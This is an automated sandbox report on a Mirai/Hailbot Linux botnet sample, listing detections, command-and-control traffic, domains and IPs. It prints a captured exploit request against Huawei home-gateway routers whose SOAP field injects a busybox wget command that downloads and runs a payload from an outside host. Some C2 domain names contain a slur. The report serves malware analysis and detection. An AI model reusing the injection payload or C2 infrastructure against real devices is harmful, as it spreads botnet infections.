Edit tour

Linux Analysis Report
gppc.elf

Overview

General Information

Sample name:	gppc.elf
Analysis ID:	1541020
MD5:	034edb3c8839f9176561fcb300b7c0e4
SHA1:	fa5a2185a446d9f875ccbd4f80951e6905e0cfa9
SHA256:	3ad6e9523ca814d44824eed16a46c4c6484bc33c1b35b7caa7c86a6d8522a2ed
Tags:	elfMiraiuser-abuse_ch
Infos:

Detection

Mirai

Score:	92
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Sends malformed DNS queries

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1541020
Start date and time:	2024-10-24 11:36:16 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 9s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	gppc.elf
Detection:	MAL
Classification:	mal92.troj.linELF@0/1025@68/0

Warnings

HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: gppc.elf

Runtime Messages

Command:	/tmp/gppc.elf
PID:	6269
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	hail china mainland
Standard Error:

Process Tree

system is lnxubuntu20

gppc.elf (PID: 6269, Parent: 6191, MD5: ae65271c943d3451b7f026d1fadccea6) Arguments: /tmp/gppc.elf

gppc.elf New Fork (PID: 6272, Parent: 6269)

gppc.elf New Fork (PID: 6273, Parent: 6269)

gppc.elf New Fork (PID: 6276, Parent: 6273)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
gppc.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
gppc.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author
6269.1.00007f1100001000.00007f1100010000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6269.1.00007f1100001000.00007f1100010000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Process Memory Space: gppc.elf PID: 6269	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security

Suricata Signatures

ET MALWARE Hailbot CnC Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T11:37:34.989577+0200	2050066	1	A Network Trojan was detected	192.168.2.23	52496	138.68.66.39	10750	TCP
2024-10-24T11:37:40.014784+0200	2050066	1	A Network Trojan was detected	192.168.2.23	39894	165.22.62.189	21027	TCP
2024-10-24T11:37:46.516922+0200	2050066	1	A Network Trojan was detected	192.168.2.23	33716	178.128.99.13	6926	TCP
2024-10-24T11:37:53.679670+0200	2050066	1	A Network Trojan was detected	192.168.2.23	44096	157.245.110.224	1737	TCP
2024-10-24T11:38:00.183715+0200	2050066	1	A Network Trojan was detected	192.168.2.23	56540	178.128.99.13	19670	TCP
2024-10-24T11:38:06.941510+0200	2050066	1	A Network Trojan was detected	192.168.2.23	59802	138.197.141.146	25205	TCP

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 469Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 66 6f 78 2e 63 61 74 20 2d 6c 20 2f 74 6d 70 2f 6b 69 20 2d 72 20 2f 68 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 69 3b 20 2f 74 6d 70 2f 6b 69 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g hfox.cat -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: Network traffic	Suricata IDS: 2050066 - Severity 1 - ET MALWARE Hailbot CnC Checkin : 192.168.2.23:52496 -> 138.68.66.39:10750
Source: Network traffic	Suricata IDS: 2050066 - Severity 1 - ET MALWARE Hailbot CnC Checkin : 192.168.2.23:39894 -> 165.22.62.189:21027
Source: Network traffic	Suricata IDS: 2050066 - Severity 1 - ET MALWARE Hailbot CnC Checkin : 192.168.2.23:33716 -> 178.128.99.13:6926
Source: Network traffic	Suricata IDS: 2050066 - Severity 1 - ET MALWARE Hailbot CnC Checkin : 192.168.2.23:44096 -> 157.245.110.224:1737
Source: Network traffic	Suricata IDS: 2050066 - Severity 1 - ET MALWARE Hailbot CnC Checkin : 192.168.2.23:56540 -> 178.128.99.13:19670
Source: Network traffic	Suricata IDS: 2050066 - Severity 1 - ET MALWARE Hailbot CnC Checkin : 192.168.2.23:59802 -> 138.197.141.146:25205

Source: global traffic	DNS traffic detected: malformed DNS query: swimminginboats.geek. [malformed]
Source: global traffic	DNS traffic detected: malformed DNS query: howyoudoinbby.dyn. [malformed]
Source: global traffic	DNS traffic detected: malformed DNS query: therealniggas.parody. [malformed]

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 156.90.32.58
Source: unknown	TCP traffic detected without corresponding DNS query: 197.84.249.19
Source: unknown	TCP traffic detected without corresponding DNS query: 197.113.167.84
Source: unknown	TCP traffic detected without corresponding DNS query: 41.234.151.58
Source: unknown	TCP traffic detected without corresponding DNS query: 156.46.220.59
Source: unknown	TCP traffic detected without corresponding DNS query: 41.247.16.219
Source: unknown	TCP traffic detected without corresponding DNS query: 41.213.64.98
Source: unknown	TCP traffic detected without corresponding DNS query: 156.17.215.212
Source: unknown	TCP traffic detected without corresponding DNS query: 41.94.47.80
Source: unknown	TCP traffic detected without corresponding DNS query: 197.28.21.221
Source: unknown	TCP traffic detected without corresponding DNS query: 156.52.219.93
Source: unknown	TCP traffic detected without corresponding DNS query: 156.163.226.82
Source: unknown	TCP traffic detected without corresponding DNS query: 197.96.162.151
Source: unknown	TCP traffic detected without corresponding DNS query: 156.211.234.170
Source: unknown	TCP traffic detected without corresponding DNS query: 41.9.122.242
Source: unknown	TCP traffic detected without corresponding DNS query: 156.183.172.200
Source: unknown	TCP traffic detected without corresponding DNS query: 156.213.115.166
Source: unknown	TCP traffic detected without corresponding DNS query: 197.179.223.192
Source: unknown	TCP traffic detected without corresponding DNS query: 156.111.218.215
Source: unknown	TCP traffic detected without corresponding DNS query: 156.75.72.106
Source: unknown	TCP traffic detected without corresponding DNS query: 41.13.168.234
Source: unknown	TCP traffic detected without corresponding DNS query: 156.24.42.58
Source: unknown	TCP traffic detected without corresponding DNS query: 156.186.2.17
Source: unknown	TCP traffic detected without corresponding DNS query: 156.202.77.225
Source: unknown	TCP traffic detected without corresponding DNS query: 156.135.43.231
Source: unknown	TCP traffic detected without corresponding DNS query: 156.116.4.204
Source: unknown	TCP traffic detected without corresponding DNS query: 156.156.32.47
Source: unknown	TCP traffic detected without corresponding DNS query: 156.77.241.240
Source: unknown	TCP traffic detected without corresponding DNS query: 156.174.19.155
Source: unknown	TCP traffic detected without corresponding DNS query: 197.235.218.110
Source: unknown	TCP traffic detected without corresponding DNS query: 156.23.229.229
Source: unknown	TCP traffic detected without corresponding DNS query: 156.135.177.164
Source: unknown	TCP traffic detected without corresponding DNS query: 156.15.27.81
Source: unknown	TCP traffic detected without corresponding DNS query: 197.118.27.160
Source: unknown	TCP traffic detected without corresponding DNS query: 197.4.23.42
Source: unknown	TCP traffic detected without corresponding DNS query: 156.5.121.6
Source: unknown	TCP traffic detected without corresponding DNS query: 197.49.196.223
Source: unknown	TCP traffic detected without corresponding DNS query: 197.88.134.90
Source: unknown	TCP traffic detected without corresponding DNS query: 41.120.84.245
Source: unknown	TCP traffic detected without corresponding DNS query: 41.171.190.76
Source: unknown	TCP traffic detected without corresponding DNS query: 156.205.44.239
Source: unknown	TCP traffic detected without corresponding DNS query: 197.241.217.235
Source: unknown	TCP traffic detected without corresponding DNS query: 156.98.222.74
Source: unknown	TCP traffic detected without corresponding DNS query: 197.211.18.7
Source: unknown	TCP traffic detected without corresponding DNS query: 41.123.94.218
Source: unknown	TCP traffic detected without corresponding DNS query: 156.34.36.169
Source: unknown	TCP traffic detected without corresponding DNS query: 156.116.209.106
Source: unknown	TCP traffic detected without corresponding DNS query: 41.11.9.97
Source: unknown	TCP traffic detected without corresponding DNS query: 41.16.15.240

Source: global traffic	DNS traffic detected: DNS query: therealniggas.parody
Source: global traffic	DNS traffic detected: DNS query: swimminginboats.geek
Source: global traffic	DNS traffic detected: DNS query: magicalmalware.pirate
Source: global traffic	DNS traffic detected: DNS query: swimminginboats.geek. [malformed]
Source: global traffic	DNS traffic detected: DNS query: howyoudoinbby.dyn. [malformed]
Source: global traffic	DNS traffic detected: DNS query: therealniggas.parody. [malformed]

Source: gppc.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: gppc.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g
Source: Initial sample	String containing 'busybox' found: -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/1582/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/3088/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/230/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/232/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/1579/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/1699/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/1335/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/1698/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/1334/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/1576/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/2302/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/236/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/237/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/910/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/912/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/2307/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/918/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/12/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/13/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/14/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/15/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/16/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/17/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/18/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/1594/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/120/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/121/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/1349/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/122/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/243/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/123/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/2/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/124/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/3/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/4/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/125/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/126/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/1344/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/1465/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/1586/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/127/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/6/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/248/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/128/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/249/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/1463/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/9/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/801/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/20/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/21/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/1900/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/22/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/6252/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/23/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/24/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/25/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/6253/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/26/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/27/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/28/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/29/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/491/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/250/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/130/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/251/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/252/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/132/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/253/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/254/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/255/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/256/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/1599/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/257/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/1477/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/379/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/258/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/1476/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/259/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/1475/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/936/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/30/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/2208/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/35/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/1809/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/1494/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/260/cmdline	Jump to behavior
Source: /tmp/gppc.elf (PID: 6272)	File opened: /proc/261/cmdline	Jump to behavior

Source: gppc.elf, 6269.1.00007ffe93ad1000.00007ffe93af2000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-ppc/tmp/gppc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/gppc.elf
Source: gppc.elf, 6269.1.00005582b5acd000.00005582b5b7d000.rw-.sdmp	Binary or memory string: !/etc/qemu-binfmt/ppc11!hotpluggableq
Source: gppc.elf, 6269.1.00005582b5acd000.00005582b5b7d000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/ppc
Source: gppc.elf, 6269.1.00007ffe93ad1000.00007ffe93af2000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-ppc

Source: Yara match	File source: gppc.elf, type: SAMPLE
Source: Yara match	File source: 6269.1.00007f1100001000.00007f1100010000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: gppc.elf PID: 6269, type: MEMORYSTR

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction

Source	Detection	Scanner	Label	Link
gppc.elf	53%	ReversingLabs	Linux.Trojan.Mirai
gppc.elf	100%	Avira	EXP/ELF.Agent.J.14

Source	Detection	Scanner	Label	Link
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/envelope/	0%	URL Reputation	safe

Name	IP	Active	Malicious	Reputation
swimminginboats.geek	138.197.141.146	true	true	unknown
magicalmalware.pirate	178.128.99.13	true	true	unknown
therealniggas.parody	128.199.113.0	true	true	unknown
howyoudoinbby.dyn. [malformed]	unknown	unknown	true	unknown
swimminginboats.geek. [malformed]	unknown	unknown	true	unknown
therealniggas.parody. [malformed]	unknown	unknown	true	unknown

IP	Domain	Country	ASN	ASN Name	Malicious
197.172.142.228	unknown	South Africa	37168	CELL-CZA	false
156.235.45.176	unknown	Seychelles	134705	ITACE-AS-APItaceInternationalLimitedHK	false
156.97.1.243	unknown	Chile	393504	XNSTGCA	false
197.159.177.38	unknown	Sao Tome and Principe	328191	CST-NET-ASST	false
41.182.10.38	unknown	Namibia	36996	TELECOM-NAMIBIANA	false
156.249.107.11	unknown	Seychelles	139086	ONL-HKOCEANNETWORKLIMITEDHK	false
197.144.26.161	unknown	Morocco	36884	MAROCCONNECTMA	false
197.216.246.230	unknown	Angola	11259	ANGOLATELECOMAO	false
156.0.172.153	unknown	South Africa	328112	Linux-Based-Systems-Design-ASZA	false
197.173.155.1	unknown	South Africa	37168	CELL-CZA	false
197.46.154.38	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.78.38.112	unknown	South Africa	37157	IMAGINEZA	false
197.106.106.172	unknown	South Africa	37168	CELL-CZA	false
156.216.67.74	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.5.207.93	unknown	United States	29975	VODACOM-ZA	false
197.237.248.172	unknown	Kenya	15399	WANANCHI-KE	false
41.53.197.194	unknown	South Africa	37168	CELL-CZA	false
197.33.36.77	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.197.85.114	unknown	Rwanda	36934	Broadband-Systems-CorporationRW	false
41.138.189.71	unknown	Nigeria	20598	CYBERSPACE-ASAutonomousSystemnumberforCyberSpaceIL	false
156.216.92.38	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.82.47.209	unknown	Senegal	8346	SONATEL-ASAutonomousSystemEU	false
197.224.41.153	unknown	Mauritius	23889	MauritiusTelecomMU	false
197.141.28.87	unknown	Algeria	36891	ICOSNET-ASDZ	false
197.66.206.55	unknown	South Africa	16637	MTNNS-ASZA	false
41.175.114.214	unknown	South Africa	30969	ZOL-ASGB	false
156.85.239.81	unknown	United States	10695	WAL-MARTUS	false
41.225.142.136	unknown	Tunisia	37671	GLOBALNET-ASTN	false
156.10.149.120	unknown	Finland	39098	BOF-ASFI	false
197.224.41.187	unknown	Mauritius	23889	MauritiusTelecomMU	false
197.220.189.25	unknown	Ghana	37341	GLOMOBILEGH	false
156.195.49.31	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.53.167.30	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.68.176.234	unknown	Egypt	24835	RAYA-ASEG	false
197.102.233.93	unknown	South Africa	3741	ISZA	false
156.228.228.50	unknown	Seychelles	328608	Africa-on-Cloud-ASZA	false
41.165.218.70	unknown	South Africa	36937	Neotel-ASZA	false
197.177.27.24	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
41.122.213.88	unknown	South Africa	16637	MTNNS-ASZA	false
